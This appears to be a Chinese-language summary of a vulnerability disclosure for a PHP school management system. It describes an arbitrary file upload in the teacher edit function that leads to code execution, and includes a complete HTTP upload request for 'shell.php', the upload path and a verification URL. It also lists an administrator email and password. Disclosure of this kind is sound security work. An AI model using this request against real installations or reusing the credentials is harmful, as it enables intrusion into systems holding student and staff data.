从该网页截图中可以获得的关键漏洞信息如下： ### 漏洞概述 **名称**: Advanced School Management System v1.0任意代码执行 (RCE) ### 漏洞信息 - **影响版本**: v1.0 - **供应商**: https://itsourcecode.com/free-projects/php-project/advanced-school-management-system-in-php-with-source-code/ - **漏洞类型**: 远程代码执行 (RCE) - **漏洞文件**: `ip/school/view/all_teacher.php` - **漏洞函数**: "edit" function ### 漏洞细节 - **漏洞描述**: - 在TEACHER模块的后台管理系统中，“edit”函数的文件上传点存在任意文件上传漏洞（RCE）。 - 通过修改文件上传的后缀名（如将`shell.php`改为`shell.png`）绕过前端检测，再通过Burp Suite拦截请求，恢复文件后缀名，成功上传`shell.php`文件。 ### 漏洞验证 - **上传请求示例**: ```http POST /school/index.php HTTP/1.1 Host: 192.168.1.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://192.168.1.19/school/view/all_teacher.php Cookie: PHPSESSID=kh42r202aj35u61brcutn42s96 Connection: close Content-Type: multipart/form-data; boundary=---------------------------12765172874523 Content-Length: 1148 -----------------------------12765172874523 Content-Disposition: form-data; name="full_name" Teacher 6 -----------------------------12765172874523 Content-Disposition: form-data; name="i_name" Teacher 6 -----------------------------12765172874523 Content-Disposition: form-data; name="address" School -----------------------------12765172874523 Content-Disposition: form-data; name="gender" Male -----------------------------12765172874523 Content-Disposition: form-data; name="phone" 666-666-6666 -----------------------------12765172874523 Content-Disposition: form-data; name="email" t6@gmail.com -----------------------------12765172874523 Content-Disposition: form-data; name="fileToUpload"; filename="shell.php" Content-Type: image/jpeg JFIF -----------------------------12765172874523 Content-Disposition: form-data; name="c_page" 1 -----------------------------12765172874523 Content-Disposition: form-data; name="id" 15 -----------------------------12765172874523 Content-Disposition: form-data; name="do" update_teacher -----------------------------12765172874523-- ``` - **上传文件路径**: `\school\uploads` - **验证执行**: 访问`http://192.168.1.19/school/uploads/2022063025545.php`发现代码得到了执行。 ### 其它信息 - **超级管理员账户密码**: 先生 superheroes与邮箱 suarez081119@gmail.com , 密码 12345